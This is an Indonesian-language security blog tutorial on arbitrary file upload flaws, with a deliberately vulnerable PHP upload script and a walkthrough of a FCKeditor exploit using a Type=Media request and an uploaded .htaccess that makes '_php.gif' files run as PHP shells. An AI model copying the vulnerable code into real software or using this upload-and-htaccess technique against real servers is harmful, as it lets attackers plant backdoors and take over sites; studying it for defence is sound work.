Vulnerability : Arbitrary File Upload

Halo Sobat Helixs! Arbitrary File Upload adalah salah satu dari sekian banyak vulnerability (kerentanan) yang ada. Arbitrary File Upload merupakan jenis vulnerability yang terjadi di aplikasi web disaat jenis file yang diunggah oleh user tidak diperiksa, difilter, atau dibersihkan oleh sistem.

Bahaya utama dari jenis vulnerability ini adalah penyerang dapat mengunggah script PHP, ASP, TXT, dll. Yang berbahaya dan menjalankannya. Tujuan utamanya adalah mendapatkan akses ke server dan menjalankan kode yang diinginkan.

Misalnya Penyerang yang telah memperoleh akses ke jenis vulnerability semacam itu dapat mengunggah script shell (backdoor) berbahaya dan selanjutnya dapat mengontrol sistem web untuk menjalankan perintah yang diinginkan, yang akan menyebabkan penyusupan penuh server dan server korban akan dimiliki.

Artikel kali ini akan membahas contoh dasar dari vulnerability ini, Berikut adalah contoh script vuln dan penjelasan untuk me-exploit nya.

Let’s Start Exploit

Example Vulnerability Code

<?php
  /**
   * Example code from lionaneesh
   * Recoded
   */
$uploadMessage = "";
   
  if (isset($_POST['upload']))
  {
        $path = $_FILES['uploadFile']['name'];
        if(move_uploaded_file($_FILES['uploadFile']['tmp_name'],$path) == TRUE)
        {
              $uploadMessage = "File Berhasil di Upload <a href='$path'>Disini</a>";
        }
  }
  ?>
  <html>
  <head>
      <title>Example Arbitrary File Upload Vulnerability</title>
  </head>
  <body>
  <h1>Arbitrary file upload ( POC )</h1>
  <hr />
  <p>Ini contoh script php untuk mengupload file gambar, script ini tidak berisi kode Cek jenis file yang membuatnya rentan terhadap Arbitrary file upload Vulnerability. </p>
  <hr />
  <h2>Upload</h2>
  <hr />
  <table>
  <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST" enctype="multipart/form-data">
      <tr>
          <td width="100">Upload File </td>
          <td width="380"><input class="cmd" type="file" name="uploadFile"/></td>
          <td><input style="margin-left:20px;" type="submit" name="upload" class="own" value="Upload"/></td>
      </tr>
  </form>
  </table>
  <?php
  echo $uploadMessage;
  ?>
  </body>
  </html>

Pada script di atas kita hanya meminta pengguna untuk memasukkan file yang akan diunggah dan tanpa memeriksa apa jenis file atau ekstensi yang kita unggah. Ini adalah contoh dasar bagaimana bug ini terjadi. Penyerang hanya perlu mengunggah file seperti shell (backdoor) untuk mendapatkan akses ke sistem web.

Exploit Example

Berikut ini saya mengambil contoh “FCKeditor Arbitrary File Upload Vulnerability” dari exploit-db, How it work?

untuk versi 2.0 - 2.2:
Vulnerability terdapat pada file FCKeditor/editor/filemanager/upload/php/upload.php
#$sType = isset( $_GET['Type'] ) ? $_GET['Type'] : 'File' ;
#
#// Get the allowed and denied extensions arrays.
#$arAllowed    = $Config['AllowedExtensions'][$sType] ;
#$arDenied    = $Config['DeniedExtensions'][$sType] ;
Kita dapat mengunggah filel seperti Text dan Image.

for version 2.3.0 - 2.4.3:
Vulnerability terdapat pada file FCKeditor/editor/filemanager/upload/php/upload.php
#$sType = isset( $_GET['Type'] ) ? $_GET['Type'] : 'File' ;
#
#// Check if it is an allowed type.
#if ( !in_array( $sType, array('File','Image','Flash','Media') ) )
#    SendResults( 1, '', '', 'Invalid type specified' ) ;
#
#// Get the allowed and denied extensions arrays.
#$arAllowed    = $Config['AllowedExtensions'][$sType] ;
#$arDenied    = $Config['DeniedExtensions'][$sType] ;
in this code we can see filter by Type, but in config.php
$Config['AllowedExtensions']['Media'] and
$Config['DeniedExtensions']['Media'] not exists))
Jika kita melakukan request Type=Media, Kita dapat mengunggah berbagai macam jenisfile)

Untuk dapat melakukan exploit kita dapat melakukan POST request ke sistem, Example :

<form enctype="multipart/form-data" action="
https://target.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media"
method="post">
<input name="NewFile" type="file">
<input type="submit" value="submit">
</form>

Pada jenis Vulnerability pada FCKeditor core dari exploit-db, Vulnerability terdapat pada path berikut

http://target.com/FCKeditor/editor/filemanager/upload/test.html
http://target.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html

How to Expoit this Vulnerability? Mula mula kita membuat file .htaccess dengan code sebagai berikut

<FilesMatch "_php.gif">
SetHandler application/x-httpd-php
</FilesMatch>

Setelah itu kita mengunggah file .htaccess itu di path tadi. Saat file .htaccess berhasil di unggah, kita perlu menggunggah file php dengan ekstensi seperti berikut Files.php.gif. Setelah mengunggah Files.php.gif, nama “Files.php.gif” otomatis berubah menjadi “shell_php.gif”. Karena file .htaccess yang sudah kita unggah tadi, maka file php yang kita unggah akan tereksekusi.

Reference :

go4expert.com, exploit-db.com

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *